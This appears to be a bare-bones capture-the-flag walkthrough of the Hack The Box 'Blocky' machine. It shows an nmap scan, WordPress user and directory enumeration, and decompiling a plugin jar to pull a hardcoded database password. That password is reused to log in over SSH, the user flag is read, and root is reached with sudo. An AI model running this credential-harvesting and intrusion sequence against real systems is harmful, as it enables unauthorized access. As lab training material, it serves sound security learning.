WORDPRESS USER ENUM

JAVA DECOMPILING

SUDO SU

PORT STATE SERVICE VERSION

21/tcp open ftp ProFTPD 1.3.5a

22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)

| ssh-hostkey:

| 2048 d6:2b:99:b4:d5:e7:53:ce:2b:fc:b5:d7:9d:79:fb:a2 (RSA)

| 256 5d:7f:38:95:70:c9:be:ac:67:a0:1e:86:e7:97:84:03 (ECDSA)

|_ 256 09:d5:c2:04:95:1a:90:ef:87:56:25:97:df:83:70:67 (ED25519)

80/tcp open http Apache httpd 2.4.18 ((Ubuntu))

|_http-generator: WordPress 4.8

|_http-server-header: Apache/2.4.18 (Ubuntu)

|_http-title: BlockyCraft – Under Construction!

8192/tcp closed sophos

25565/tcp open minecraft Minecraft 1.11.2 (Protocol: 127, Message: A Minecraft Server, Users: 0/20)

Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

root@kali:/home/kali/Desktop/hackthebox/blocky# wpscan --url http://blocky.htb -e u

[i] User(s) Identified:

[+] notch

| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)

| Confirmed By: Login Error Messages (Aggressive Detection)

root@kali:/home/kali/Desktop/hackthebox/blocky# gobuster dir -u http://blocky.htb/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

/wiki (Status: 301)

/wp-content (Status: 301)

/plugins (Status: 301)

/wp-includes (Status: 301)

/javascript (Status: 301)

/wp-admin (Status: 301)

/phpmyadmin (Status: 301)

http://blocky.htb/plugins/

root@kali:/home/kali/Desktop/hackthebox/blocky# unzip BlockyCore.jar

root@kali:/home/kali/Desktop/hackthebox/blocky/com/myfirstplugin# javap -c BlockyCore.class

```
  Code:
     0: aload_0
     1: invokespecial #12                 // Method java/lang/Object."<init>":()V
     4: aload_0
     5: ldc           #14                 // String localhost
     7: putfield      #16                 // Field sqlHost:Ljava/lang/String;
    10: aload_0
    11: ldc           #18                 // String root
    13: putfield      #20                 // Field sqlUser:Ljava/lang/String;
    16: aload_0
    17: ldc           #22                 // String 8YsqfCTnvxAUeduzjNSXe22
    19: putfield      #24                 // Field sqlPass:Ljava/lang/String;
```

root@kali:/home/kali/Desktop/hackthebox/blocky# ssh notch@blocky.htb

notch@Blocky:~$ ls

minecraft user.txt

notch@Blocky:~$ cat user.txt

59fee0977fb60b8a0bc6e41e751f3cd5notch@Blocky:~$

notch@Blocky:~$ sudo -l

[sudo] password for notch:

Matching Defaults entries for notch on Blocky:

```
  env_reset, mail_badpass,
  secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User notch may run the following commands on Blocky:
  (ALL : ALL) ALL
```

notch@Blocky:~$ sudo su